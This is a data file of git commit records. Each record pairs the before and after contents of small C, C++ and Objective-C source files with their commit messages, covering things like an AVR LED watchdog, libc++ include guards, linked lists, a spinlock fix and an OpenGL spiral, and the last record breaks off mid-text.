{"commit":"c98e8774e1173d05e733fb02032d06e61813a6a3","old_file":"licharger.c","new_file":"licharger.c","old_contents":"#include <avr\/io.h>\n\nint main (void) {\n\n\t\/\/Set pin 3 as output to source current?\n\tPORTB = 1<<PORTB3;\n\tDDRB = 1<<DDB3;\n\n}","new_contents":"#include <avr\/io.h>\n#include <avr\/wdt.h>\n#include <avr\/interrupt.h>\n\nint main ( void ) {\n\n\t\/\/Disable interrupts and reset WDT timer\n\tcli();\n\twdt_reset();\n\n\t\/\/Reset MCU status register\n\tMCUSR &= ~(1<<WDRF);\t\n\n\t\/\/Disable watchdog\n\tWDTCR |= (1<<WDCE) | (1<<WDE);\n\tWDTCR = 0;\n\n\t\/\/Enable LED\n\tDDRB = 1<<DDB3;\n\tPORTB = 1<<PORTB3;\n\n\t\/\/Start watchdog\n\tWDTCR |= (1<<WDCE) | (1<<WDE);\n\tWDTCR =  (1<<WDTIE) | (1<<WDP2) | (1<<WDP1);\n\n\t\/\/Enable interrupts\n\tsei();\n\n\twhile(1);\n\n}\n\n\/\/Catching WatchDog interrupts\nISR ( WDT_vect ) {\n\n\tPORTB ^= 1<<PORTB3;\n\n}","subject":"Make a watchdog timer blink a LED","message":"Make a watchdog timer blink a LED\n","lang":"C","license":"mit","repos":"Atom058\/ArduinoLithiumCharger,Atom058\/ArduinoLithiumCharger"}
{"commit":"8634f6fcca8961d4a7db9dedaebf2ce216cd0592","old_file":"include\/support\/newlib\/xlocale.h","new_file":"include\/support\/newlib\/xlocale.h","old_contents":"\/\/===----------------------------------------------------------------------===\/\/\n\/\/\n\/\/                     The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file is dual licensed under the MIT and the University of Illinois Open\n\/\/ Source Licenses. See LICENSE.TXT for details.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#ifndef _LIBCPP_SUPPORT_NEWLIB_XLOCALE_H\n#define _LIBCPP_SUPPORT_NEWLIB_XLOCALE_H\n\n#if defined(_NEWLIB_VERSION)\n\n#include <cstdlib>\n#include <clocale>\n#include <cwctype>\n#include <ctype.h>\n#if !defined(__NEWLIB__) || __NEWLIB__ < 2 || \\\n    __NEWLIB__ == 2 && __NEWLIB_MINOR__ < 5\n#include <support\/xlocale\/__nop_locale_mgmt.h>\n#endif\n#include <support\/xlocale\/__posix_l_fallback.h>\n#include <support\/xlocale\/__strtonum_fallback.h>\n\n#endif \/\/ _NEWLIB_VERSION\n\n#endif\n","new_contents":"\/\/===----------------------------------------------------------------------===\/\/\n\/\/\n\/\/                     The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file is dual licensed under the MIT and the University of Illinois Open\n\/\/ Source Licenses. See LICENSE.TXT for details.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#ifndef _LIBCPP_SUPPORT_NEWLIB_XLOCALE_H\n#define _LIBCPP_SUPPORT_NEWLIB_XLOCALE_H\n\n#if defined(_NEWLIB_VERSION)\n\n#include <cstdlib>\n#include <clocale>\n#include <cwctype>\n#include <ctype.h>\n#if !defined(__NEWLIB__) || __NEWLIB__ < 2 || \\\n    __NEWLIB__ == 2 && __NEWLIB_MINOR__ < 5\n#include <support\/xlocale\/__nop_locale_mgmt.h>\n#include <support\/xlocale\/__posix_l_fallback.h>\n#include <support\/xlocale\/__strtonum_fallback.h>\n#endif\n\n#endif \/\/ _NEWLIB_VERSION\n\n#endif\n","subject":"Exclude posix_l\/strtonum fallback inclusion for newlib > 2.4","message":"[libc++] Exclude posix_l\/strtonum fallback inclusion for newlib > 2.4\n\nSummary:\n[libc++] Exclude posix_l\/strtonum fallback inclusion for newlib > 2.4\n\nr338122 changed the linkage of some methods which revealed an existing ODR violation, e.g.:\nprojects\/libcxx\/include\/support\/xlocale\/__posix_l_fallback.h:83:38: error: 'internal_linkage' attribute does not appear on the first declaration of 'iswcntrl_l'\ninline _LIBCPP_INLINE_VISIBILITY int iswcntrl_l(wint_t c, locale_t) {\n                                     ^\nlib\/include\/wctype.h:55:12: note: previous definition is here\nextern int      iswcntrl_l (wint_t, locale_t);\n\nThese were added to newlib in 2.4 [1] [2], so move them to the already existing include guard.\n\n[1] https:\/\/sourceware.org\/git\/gitweb.cgi?p=newlib-cygwin.git;a=commit;h=238455adfab4f8070ac65400aac22bb8a9e502fc\n[2] https:\/\/sourceware.org\/git\/gitweb.cgi?p=newlib-cygwin.git;a=commit;h=8493c1631643fada62384768408852bc0fa6ff44\n\nReviewers: ldionne, rsmith, EricWF\n\nSubscribers: christof, cfe-commits\n\nDifferential Revision: https:\/\/reviews.llvm.org\/D49927\n\ngit-svn-id: 756ef344af921d95d562d9e9f9389127a89a6314@338157 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"llvm-mirror\/libcxx,llvm-mirror\/libcxx,llvm-mirror\/libcxx,llvm-mirror\/libcxx,llvm-mirror\/libcxx"}
{"commit":"23de80419998d6bc4420efb1019941c1cb7bcbd5","old_file":"src\/lib-fts\/fts-common.h","new_file":"src\/lib-fts\/fts-common.h","old_contents":"#ifndef FTS_COMMON_H\n#define FTS_COMMON_H\n\n#define IS_NONASCII_APOSTROPHE(c) \\\n\t((c) == 0x2019 || (c) == 0xFF07)\n#define IS_APOSTROPHE(c) \\\n\t((c) == 0x0027 || IS_NONASCII_APOSTROPHE(c))\n\n#endif\n","new_contents":"#ifndef FTS_COMMON_H\n#define FTS_COMMON_H\n\n\/* Some might consider 0x02BB an apostrophe also. *\/\n#define IS_NONASCII_APOSTROPHE(c) \\\n\t((c) == 0x2019 || (c) == 0xFF07)\n#define IS_APOSTROPHE(c) \\\n\t((c) == 0x0027 || IS_NONASCII_APOSTROPHE(c))\n\n#endif\n","subject":"Add note about possible additional apostrophe.","message":"lib-fts: Add note about possible additional apostrophe.\n","lang":"C","license":"mit","repos":"dscho\/dovecot,dscho\/dovecot,dscho\/dovecot,dscho\/dovecot,dscho\/dovecot"}
{"commit":"7e020bc3c13dadd82deed0f53740fb0bd743dfca","old_file":"c\/lists.c","new_file":"c\/lists.c","old_contents":"","new_contents":"#include <stdlib.h>\n#include <stdio.h>\n\ntypedef struct list {\n    int data;\n    struct list * next;\n} list;\n\nlist * make_elem(void) {\n    list * pe;\n\n    if(NULL == (pe = malloc(sizeof(list)))) {\n        fprintf(stderr, \"Erreur d'allocation memoire\\n\");\n        exit(EXIT_FAILURE);\n    }\n\n    return pe;\n}\n\nint main() {\n\n    list *pl, *pe1, *pe2, *pe3, *pe4;\n\n    pe1 = make_elem();\n    pe2 = make_elem();\n    pe3 = make_elem();\n    pe4 = make_elem();\n\n    pe1->data = 2;\n    pe2->data = 3;\n    pe3->data = 5;\n    pe4->data = 7;\n\n    pl = pe1;\n\n    pe1->next = pe2;\n    pe2->next = pe3;\n    pe3->next = pe4;\n    pe4->next = NULL;\n\n    list * c;\n\n    for(c=pl ; c ; c=c->next) {\n        printf(\"%d\\n\", c->data);\n    }\n\n    free(pe1);\n    free(pe2);\n    free(pe3);\n    free(pe4);\n\n    return 0;\n}\n","subject":"Add a snippet (lang C).","message":"Add a snippet (lang C).\n","lang":"C","license":"mit","repos":"jeremiedecock\/snippets,jeremiedecock\/snippets,jeremiedecock\/snippets,jeremiedecock\/snippets,jeremiedecock\/snippets,jeremiedecock\/snippets,jeremiedecock\/snippets,jeremiedecock\/snippets,jeremiedecock\/snippets,jeremiedecock\/snippets,jeremiedecock\/snippets,jeremiedecock\/snippets,jeremiedecock\/snippets"}
{"commit":"7f27e1272b40cf4ec090947fd3b4b620ca7de80d","old_file":"examples\/complex_struct.c","new_file":"examples\/complex_struct.c","old_contents":"#include <stdio.h>\n\ntypedef struct {\n    int *x;\n    int **y;\n} inner ;\n\ntypedef struct {\n    int *g;\n    inner in[3];\n} outer;\n\n\nint *ep;\n\nint main(int argc, char *argv[])\n{\n    outer o;\n    int z = 5;\n\n    printf(\"%d\\n\" , z);\n\n    ep = &z;\n\n    o.in[2].x = ep;\n\n    *o.in[2].x = 3;\n    printf(\"%d\\n\" , z);\n\n    outer oo[4];\n\n    oo[2].in[2].y = &ep;\n    return 0;\n}\n","new_contents":"#include <stdio.h>\n\ntypedef struct {\n    int *x;\n    int **y;\n} inner ;\n\ntypedef struct {\n    int *g;\n    inner in[3];\n} outer;\n\n\nint *ep;\n\nint main(int argc, char *argv[])\n{\n    outer o;\n    int z = 5;\n    int zzz;\n\n    printf(\"%d\\n\" , z);\n\n    ep = &z;\n\n    o.in[2].x = ep;\n\n    *o.in[2].x = 3;\n    printf(\"%d\\n\" , z);\n\n    inner i;\n    i.x = &zzz;\n    o.in[1] = i;\n\n    int **ptr = &o.in[0].x;\n    int *p = *ptr;\n    \/* outer oo[4]; *\/\n\n    \/* oo[2].in[2].y = &ep; *\/\n    return 0;\n}\n","subject":"Add bitwise copy of struct to complex struct example.","message":"Add bitwise copy of struct to complex struct example.\n","lang":"C","license":"mit","repos":"plast-lab\/cclyzer,plast-lab\/llvm-datalog"}
{"commit":"a32f3b03d56c02033bdebf8a5f7207738f1492ab","old_file":"TDTChocolate\/FoundationAdditions\/NSDictionary+TDTNullNormalization.h","new_file":"TDTChocolate\/FoundationAdditions\/NSDictionary+TDTNullNormalization.h","old_contents":"#import <Foundation\/Foundation.h>\n\n\/\/ Motivation:\n\/\/ JSON responses frequently contain 'null'. For our purposes, a JSON object with\n\/\/ a null property is equivalent to the same object with that property missing.\n\/\/ However, JSON parsers treat the former as `NSNull` and the latter as nil;\n\/\/ This leads to problems for the subsequent code because NSNull is a bona-fide\n\/\/ object while messages to nil are discarded. Furthermore, Objective C truthy\n\/\/ checks work for NSNull and fail for nil.\n\n@interface NSDictionary (TDTNullNormalization)\n\n\/**\n @return NSDictionary created by removing all enteries whose @p value is an\n instance of @p NSNull.\n\n @see NSArray+TDTNullNormalization\n *\/\n- (NSDictionary *)tdt_dictionaryByRemovingNulls;\n\n@end\n","new_contents":"#import <Foundation\/Foundation.h>\n\n@interface NSDictionary (TDTNullNormalization)\n\n\/**\n @return NSDictionary created by removing all enteries whose @p value is an\n instance of @p NSNull.\n\n @see NSArray+TDTNullNormalization\n *\/\n- (NSDictionary *)tdt_dictionaryByRemovingNulls;\n\n@end\n","subject":"Remove now irrelevant motivation section","message":"Remove now irrelevant motivation section\n","lang":"C","license":"bsd-3-clause","repos":"talk-to\/Chocolate,talk-to\/Chocolate"}
{"commit":"787598f0259728ae44dcdd5ceb414a49d2a887ff","old_file":"bibdesk\/BDSKSearchGroupViewController.h","new_file":"bibdesk\/BDSKSearchGroupViewController.h","old_contents":"","new_contents":"\/\/\n\/\/  BDSKSearchGroupViewController.h\n\/\/  Bibdesk\n\/\/\n\/\/  Created by Christiaan Hofman on 1\/2\/07.\n\/*\n This software is Copyright (c) 2007\n Christiaan Hofman. All rights reserved.\n \n Redistribution and use in source and binary forms, with or without\n modification, are permitted provided that the following conditions\n are met:\n \n - Redistributions of source code must retain the above copyright\n notice, this list of conditions and the following disclaimer.\n \n - Redistributions in binary form must reproduce the above copyright\n notice, this list of conditions and the following disclaimer in\n the documentation and\/or other materials provided with the\n distribution.\n \n - Neither the name of Christiaan Hofman nor the names of any\n contributors may be used to endorse or promote products derived\n from this software without specific prior written permission.\n \n THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS\n \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT\n LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR\n A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT\n OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,\n SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT\n LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,\n DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY\n THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE\n OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n *\/\n\n#import <Cocoa\/Cocoa.h>\n\n@class BDSKCollapsibleView, BDSKEdgeView, BDSKSearchGroup;\n\n@interface BDSKSearchGroupViewController : NSWindowController {\n    IBOutlet BDSKCollapsibleView *view;\n    IBOutlet BDSKEdgeView *edgeView;\n    IBOutlet NSSearchField *searchField;\n    IBOutlet NSButton *searchButton;\n    \n    BDSKSearchGroup *group;\n}\n\n- (NSView *)view;\n\n- (BDSKSearchGroup *)group;\n- (void)setGroup:(BDSKSearchGroup *)newGroup;\n\n- (IBAction)changeSearchTerm:(id)sender;\n- (IBAction)nextSearch:(id)sender;\n\n@end\n","subject":"Add new header file. (or: xcode is stupid)","message":"Add new header file. (or: xcode is stupid)","lang":"C","license":"bsd-3-clause","repos":"ycaihua\/skim-app,WoLpH\/skim,WoLpH\/skim,WoLpH\/skim,ycaihua\/skim-app,ycaihua\/skim-app,WoLpH\/skim,ycaihua\/skim-app,WoLpH\/skim,ycaihua\/skim-app"}
{"commit":"8055b9fdd7a11b15b6b64105dcd74daca6352ee3","old_file":"include\/nekit\/utils\/async_io_interface.h","new_file":"include\/nekit\/utils\/async_io_interface.h","old_contents":"","new_contents":"\/\/ MIT License\n\n\/\/ Copyright (c) 2017 Zhuhao Wang\n\n\/\/ Permission is hereby granted, free of charge, to any person obtaining a copy\n\/\/ of this software and associated documentation files (the \"Software\"), to deal\n\/\/ in the Software without restriction, including without limitation the rights\n\/\/ to use, copy, modify, merge, publish, distribute, sublicense, and\/or sell\n\/\/ copies of the Software, and to permit persons to whom the Software is\n\/\/ furnished to do so, subject to the following conditions:\n\n\/\/ The above copyright notice and this permission notice shall be included in\n\/\/ all copies or substantial portions of the Software.\n\n\/\/ THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n\/\/ IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n\/\/ FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n\/\/ AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n\/\/ LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n\/\/ OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\n\/\/ SOFTWARE.\n\n#pragma once\n\n#include <boost\/asio.hpp>\n\nnamespace nekit {\nnamespace utils {\n\nclass AsyncIoInterface {\n public:\n  AsyncIoInterface(boost::asio::io_service& io) : io_{&io} {};\n  ~AsyncIoInterface() = default;\n\n  boost::asio::io_service& io() const { return *io_; }\n\n private:\n  boost::asio::io_service* io_;\n};\n\n}  \/\/ namespace utils\n}  \/\/ namespace nekit\n","subject":"Make things based on Asio `service_io` inherite from same base","message":"FEAT: Make things based on Asio `service_io` inherite from same base\n","lang":"C","license":"mit","repos":"zhuhaow\/libnekit,zhuhaow\/libnekit,zhuhaow\/libnekit,zhuhaow\/libnekit"}
{"commit":"376f541859f5ea5914bea3c084f4be3c119ab4aa","old_file":"linkedLists\/isIdentical.c","new_file":"linkedLists\/isIdentical.c","old_contents":"","new_contents":"#include \"listHelper.h\"\n\nint isIdentical(struct linkList *head1, struct linkList *head2)\n{\n\t\/* list1 and list2 has to have same data and length\n\t * even if length or data mismatch , we return \n\t * list as non identical.\n\t *\/\n\twhile(head1 != NULL && head2 != NULL) {\n\t\tif(head1->data != head2->data)\n\t\t\treturn 0;\n\t\thead1 = head1->next;\n\t\thead2 = head2->next;\n\t}\n\tif(head1 == NULL && head2 == NULL)\n\t\treturn 1;\n\telse\n\t\treturn 0;\n}\n\nvoid\nmain() {\n\n        int dat;\n        struct linkList *list1 = NULL, *list2 = NULL;\n\n        InsertLinkedList(&list1, 21, 1);         \/*Insert node in Beginning *\/\n        InsertLinkedList(&list1, 31, 2);         \/*Insert at position 2 *\/\n        InsertLinkedList(&list1, 41, 3);\n        InsertLinkedList(&list1, 51, 4);\n        InsertLinkedList(&list1, 61, 5);\n        InsertLinkedList(&list1, 72, 6);\n        InsertLinkedList(&list1, 87, 7);\n        InsertLinkedList(&list1, 98, 8);\n\n        InsertLinkedList(&list2, 21, 1);         \/*Insert node in Beginning *\/\n        InsertLinkedList(&list2, 31, 2);         \/*Insert at position 2 *\/\n        InsertLinkedList(&list2, 41, 3);\n        InsertLinkedList(&list2, 51, 4);\n        InsertLinkedList(&list2, 61, 5);\n        InsertLinkedList(&list2, 72, 6);\n        InsertLinkedList(&list2, 87, 7);\n        InsertLinkedList(&list2, 98, 8);\n\n        InsertLinkedList(&list2, 2014, 9);\n\n\tif(isIdentical(list1, list2))\n\t\tprintf(\"isIdentical\\n\");\n\telse\n\t\tprintf(\"Not Identical\\n\");\n}\n","subject":"Check if two linked lists are identical or same.","message":"Check if two linked lists are identical or same.","lang":"C","license":"mit","repos":"vidya-ranganathan\/algorithms"}
{"commit":"7c47ca226bed8793611b3262d462585de31a9309","old_file":"Classes\/YSProcessTimer\/YSProcessTimer.h","new_file":"Classes\/YSProcessTimer\/YSProcessTimer.h","old_contents":"\/\/\n\/\/  YSProcessTimer.h\n\/\/  YSProcessTimeExample\n\/\/\n\/\/  Created by Yu Sugawara on 2014\/02\/21.\n\/\/  Copyright (c) 2014年 Yu Sugawara. All rights reserved.\n\/\/\n\n#import <Foundation\/Foundation.h>\n\n#ifndef DEBUG\n    #define kYSProcessTimerInvalid 1\n#endif\n\n@interface YSProcessTimer : NSObject\n\n+ (instancetype)sharedInstance;\n- (instancetype)initWithProcessName:(NSString*)processName;\n@property (nonatomic) NSString *processName;\n\n- (void)startWithComment:(NSString*)comment;\n- (NSTimeInterval)currentRapTime;\n- (void)addRapWithComment:(NSString *)comment;\n- (void)stopWithComment:(NSString*)stopComment;\n\n@end\n","new_contents":"\/\/\n\/\/  YSProcessTimer.h\n\/\/  YSProcessTimeExample\n\/\/\n\/\/  Created by Yu Sugawara on 2014\/02\/21.\n\/\/  Copyright (c) 2014年 Yu Sugawara. All rights reserved.\n\/\/\n\n#import <Foundation\/Foundation.h>\n\n#ifndef DEBUG\n    #define kYSProcessTimerInvalid 1\n#endif\n\n@interface YSProcessTimer : NSObject\n\n+ (instancetype)sharedInstance;\n- (instancetype)initWithProcessName:(NSString*)processName;\n@property (nonatomic, copy) NSString *processName;\n\n- (void)startWithComment:(NSString*)comment;\n- (NSTimeInterval)currentRapTime;\n- (void)addRapWithComment:(NSString *)comment;\n- (void)stopWithComment:(NSString*)stopComment;\n\n@end\n","subject":"Change NSString property to copy","message":"Change NSString property to copy\n","lang":"C","license":"mit","repos":"yusuga\/YSProcessTimer"}
{"commit":"3a9c2313f04ef18261d5c8936a5724150e614eeb","old_file":"EScript\/Utils\/SyncTools.h","new_file":"EScript\/Utils\/SyncTools.h","old_contents":"\/\/ SyncTools.h\n\/\/ This file is part of the EScript programming language (https:\/\/github.com\/EScript)\n\/\/\n\/\/ Copyright (C) 2015 Claudius Jhn <ClaudiusJ@live.de>\n\/\/\n\/\/ Licensed under the MIT License. See LICENSE file for details.\n\/\/ ---------------------------------------------------------------------------------\n#ifndef SYNCTOOLS_H_INCLUDED\n#define SYNCTOOLS_H_INCLUDED\n\n#include <thread>\n#include <mutex>\n#include <atomic>\n\nnamespace EScript{\nnamespace SyncTools{\nnamespace _Internals{\n\/\/! \\see http:\/\/en.cppreference.com\/w\/cpp\/atomic\/atomic_flag\nclass SpinLock{\n\tprivate:\n\t\tstd::atomic_flag f;\n\tpublic:\n\t\tSpinLock():f(ATOMIC_FLAG_INIT){}\n\n\t\tvoid lock()\t\t{\twhile(!f.test_and_set(std::memory_order_acquire));\t}\n\t\tbool try_lock()\t{\treturn !f.test_and_set(std::memory_order_acquire);\t}\n\t\tvoid unlock()\t{\tf.clear(std::memory_order_release);\t\t}\n};\n}\n\ntypedef std::atomic<int> atomicInt;\ntypedef std::atomic<bool> atomicBool;\n\/\/typedef std::mutex  FastLock;\ntypedef _Internals::SpinLock FastLock;\ntypedef std::unique_lock<FastLock> FastLockHolder;\n\n}\n}\n\n#endif \/\/ SYNCTOOLS_H_INCLUDED\n","new_contents":"\/\/ SyncTools.h\n\/\/ This file is part of the EScript programming language (https:\/\/github.com\/EScript)\n\/\/\n\/\/ Copyright (C) 2015 Claudius Jhn <ClaudiusJ@live.de>\n\/\/\n\/\/ Licensed under the MIT License. See LICENSE file for details.\n\/\/ ---------------------------------------------------------------------------------\n#ifndef SYNCTOOLS_H_INCLUDED\n#define SYNCTOOLS_H_INCLUDED\n\n#include <thread>\n#include <mutex>\n#include <atomic>\n\nnamespace EScript{\nnamespace SyncTools{\nnamespace _Internals{\n\/\/! \\see http:\/\/en.cppreference.com\/w\/cpp\/atomic\/atomic_flag\nclass SpinLock{\n\t\tstd::atomic_flag f;\n\tpublic:\n\t\tSpinLock():f(ATOMIC_FLAG_INIT){}\n\n\t\tvoid lock()\t\t{\twhile(f.test_and_set(std::memory_order_acquire));\t}\n\t\tbool try_lock()\t{\treturn !f.test_and_set(std::memory_order_acquire);\t}\n\t\tvoid unlock()\t{\tf.clear(std::memory_order_release);\t\t}\n};\n}\n\ntypedef std::atomic<int> atomicInt;\ntypedef std::atomic<bool> atomicBool;\n\/\/typedef std::mutex  FastLock;\ntypedef _Internals::SpinLock FastLock;\n\/\/typedef std::mutex FastLock;\ntypedef std::unique_lock<FastLock> FastLockHolder;\n\ninline SyncTools::FastLockHolder tryLock(FastLock& lock){\n\treturn std::move(FastLockHolder(lock, std::try_to_lock) );\n}\n\n}\n}\n\n#endif \/\/ SYNCTOOLS_H_INCLUDED\n","subject":"Fix SpinLock and add tryLock.","message":"Fix SpinLock and add tryLock.\n","lang":"C","license":"mit","repos":"eikel\/EScript,eikel\/EScript"}
{"commit":"906010c818b625f61331fde4d7384e553629912a","old_file":"src\/utils.h","new_file":"src\/utils.h","old_contents":"","new_contents":"#ifndef TAILPRODUCE_UTILS_H\n#define TAILPRODUCE_UTILS_H\n\n#include <string>\n#include <sstream>\n#include <memory>\n#include <unordered_map>\n#include <utility>\n\n#include <cereal\/cereal.hpp>\n#include <cereal\/archives\/json.hpp>\n#include <cereal\/types\/string.hpp>\n\n#include \"helpers.h\"\n#include \"stream.h\"\n#include \"dbm_iterator.h\"\n#include \"config_values.h\"\n#include \"stream_persist.h\"\n\nnamespace TailProduce {\n    \/\/ This block of code is used to create a stream and a producer pair from the stream persist objects in the db\n    template<typename ORDER_KEY, typename STORAGE>\n    auto \n    RestorePersistedStreams(TailProduce::StreamsRegistry& registry,\n                            STORAGE& storage, \n                            TailProduce::ConfigValues const& cv) -> \n        std::unordered_map< std::string, std::shared_ptr<TailProduce::Stream<ORDER_KEY>>>\n    {\n        typedef TailProduce::Stream<ORDER_KEY> STREAM;\n        typedef std::shared_ptr<STREAM> STREAM_PTR;\n\n        std::unordered_map<std::string, STREAM_PTR> results;\n        auto knownStreamsKey = cv.GetStreamsRegister(\"\"); \/\/ passing an empty string will allow creating an iterator of all known streams\n        auto iterator = storage.GetIterator(knownStreamsKey);\n        while(!iterator.Done()) {\n            std::string streamValues = antibytes(iterator.Value());\n            TailProduce::StreamPersist persisted;\n            std::istringstream is(streamValues);  \/\/ make the string a stream\n            cereal::JSONInputArchive ar(is);      \/\/ make a JSON Input Archive from the string\n            ar(persisted);                        \/\/ populate Persisted\n            auto stream = STREAM_PTR(new STREAM(registry,\n                                                cv,\n                                                persisted.stream_name,\n                                                persisted.entry_type_name,\n                                                persisted.order_key_type_name));\n            \n            \n            results.insert(std::make_pair(stream->GetId(), stream));\n            iterator.Next();\n        }\n        return results;\n    }\n\n    template<typename STORAGE>\n    void\n    PersistStream(STORAGE storage, \n                  TailProduce::StreamPersist &sp,\n                  TailProduce::ConfigValues& cv)\n    {\n        \/\/ The reverse of this is to store the known streams in the DB.\n        std::ostringstream os;\n        (cereal::JSONOutputArchive(os))(sp);\n        std::string objStr = os.str();\n        TailProduce::Storage::KEY_TYPE skey = cv.GetStreamsRegister(sp.stream_name);\n        storage.AdminSet(skey, TailProduce::bytes(objStr));\n    }\n\n};\n#endif\n","subject":"Add missing file. Remove debuggig statements","message":"Add missing file.  Remove debuggig statements\n","lang":"C","license":"mit","repos":"Staance\/tailproduce,Staance\/tailproduce"}
{"commit":"3f27d22593d0d595bc4e9695d122fa16051d8990","old_file":"src\/SpiralLinesGLWidget.h","new_file":"src\/SpiralLinesGLWidget.h","old_contents":"#ifndef SPIRALLINESGLWIDGET_H\n#define SPIRALLINESGLWIDGET_H\n\n#include \"GLWidget.h\"\n#include <cmath>\n\nclass SpiralLinesGLWidget : public GLWidget\n{\npublic:\n\tSpiralLinesGLWidget(QWidget* parent = 0);\nprotected:\n\tvoid initializeGL();\n\tvoid render();\n};\n\nSpiralLinesGLWidget::SpiralLinesGLWidget(QWidget* parent) : GLWidget(parent) {}\n\nvoid SpiralLinesGLWidget::initializeGL()\n{\n\tGLWidget::initializeGL();\n\tsetXRotation(-45);\n\tsetYRotation(15);\n\tsetZRotation(45);\n}\n\nvoid SpiralLinesGLWidget::render()\n{\n\t\/\/ How many revolutions of the spiral are rendered.\n\tstatic const float REVOLUTIONS = 10;\n\tstatic const float PI = 3.14159;\n\n\tglBegin(GL_LINE_STRIP);\n\tfor (float angle = 0; angle < 2*PI*REVOLUTIONS; angle +=  PI \/ (2 * REVOLUTIONS * 10)) {\n\t\tglVertex2f(\n\t\t\tangle * (float) sin(angle),\n\t\t\tangle * (float) cos(angle));\n\t}\n\tglEnd();\n}\n\n#endif \/\/ SPIRALLINESGLWIDGET_H\n","new_contents":"#ifndef SPIRALLINESGLWIDGET_H\n#define SPIRALLINESGLWIDGET_H\n\n#include \"GLWidget.h\"\n#include <cmath>\n\nclass SpiralLinesGLWidget : public GLWidget\n{\npublic:\n\tSpiralLinesGLWidget(QWidget* parent = 0);\nprotected:\n\tvoid initializeGL();\n\tvoid render();\n};\n\nSpiralLinesGLWidget::SpiralLinesGLWidget(QWidget* parent) : GLWidget(parent) {}\n\nvoid SpiralLinesGLWidget::initializeGL()\n{\n\tGLWidget::initializeGL();\n\tsetXRotation(-45);\n\tsetYRotation(15);\n\tsetZRotation(45);\n}\n\nvoid SpiralLinesGLWidget::render()\n{\n\t\/\/ How many revolutions of the spiral are rendered.\n\tstatic const float REVOLUTIONS = 10;\n\tstatic const float PI = 3.14159;\n\n\t\/\/ How many vertices per revolution.\n\tstatic const float SLICES = 10;\n\n\tglBegin(GL_LINE_STRIP);\n\tfor (int i = 0; i <= REVOLUTIONS * SLICES; i++) {\n\t\tconst float angle = i * 2 * PI \/ SLICES;\n\t\tglVertex2f(\n\t\t\tangle * (float) sin(angle),\n\t\t\tangle * (float) cos(angle));\n\t}\n\tglEnd();\n}\n\n#endif \/\/ SPIRALLINESGLWIDGET_H\n","subject":"Use integers instead of floats in for-loop","message":"Use integers instead of floats in for-loop\n\nWhile this adds a few more lines to the program, I think it makes it\nmore explicit where the constants come from. It also faciliates\neasier modification of the example.\n\nIt's also safer to use an integer instead of a float as a conditional\nin a for-loop. This is because floating point values are imprecise.\nAs a result, you may end up with one more or one fewer iteration than\nyou anticipated. Integers don't have this disadvantage.\n","lang":"C","license":"mit","repos":"dafrito\/alpha,dafrito\/alpha,dafrito\/alpha"}
{"commit":"2abad81843d091274a4615e6b04f5ba465254029","old_file":"learner\/src\/learner-service.h","new_file":"learner\/src\/learner-service.h","old_contents":"#pragma once\n\n#include <pthread.h>\n#include <glb-lib\/output.h>\n\n#include <kmq.h>\n#include <knd_shard.h>\n\nstruct kndLearnerService;\n\nstruct kndLearnerOptions\n{\n    char *config_file;\n    struct addrinfo *address;\n};\n\nstruct kndLearnerService\n{\n    struct kmqKnode *knode;\n    struct kmqEndPoint *entry_point;\n\n    struct kndShard *shard;\n\n    char name[KND_NAME_SIZE];\n    size_t name_size;\n\n    char path[KND_NAME_SIZE];\n    size_t path_size;\n\n    char schema_path[KND_NAME_SIZE];\n    size_t schema_path_size;\n\n    char delivery_addr[KND_NAME_SIZE];\n    size_t delivery_addr_size;\n\n    size_t max_users;\n\n    const struct kndLearnerOptions *opts;\n\n    \/*********************  public interface  *********************************\/\n    int (*start)(struct kndLearnerService *self);\n    void (*del)(struct kndLearnerService *self);\n};\n\nint kndLearnerService_new(struct kndLearnerService **service, const struct kndLearnerOptions *opts);\n\n","new_contents":"#pragma once\n\n#include <pthread.h>\n#include <glb-lib\/output.h>\n\n#include <kmq.h>\n#include <knd_shard.h>\n\nstruct kndLearnerService;\n\nstruct kndLearnerOptions\n{\n    char *config_file;\n    struct addrinfo *address;\n};\n\nstruct kndLearnerService\n{\n    struct kmqKnode *knode;\n    struct kmqEndPoint *entry_point;\n\n    struct kndShard *shard;\n\n    char name[KND_NAME_SIZE];\n    size_t name_size;\n\n\/\/    char path[KND_NAME_SIZE];\n\/\/    size_t path_size;\n\/\/\n\/\/    char schema_path[KND_NAME_SIZE];\n\/\/    size_t schema_path_size;\n\/\/\n\/\/    char delivery_addr[KND_NAME_SIZE];\n\/\/    size_t delivery_addr_size;\n\n\/\/    size_t max_users;\n\n    const struct kndLearnerOptions *opts;\n\n    \/*********************  public interface  *********************************\/\n    int (*start)(struct kndLearnerService *self);\n    void (*del)(struct kndLearnerService *self);\n};\n\nint kndLearnerService_new(struct kndLearnerService **service, const struct kndLearnerOptions 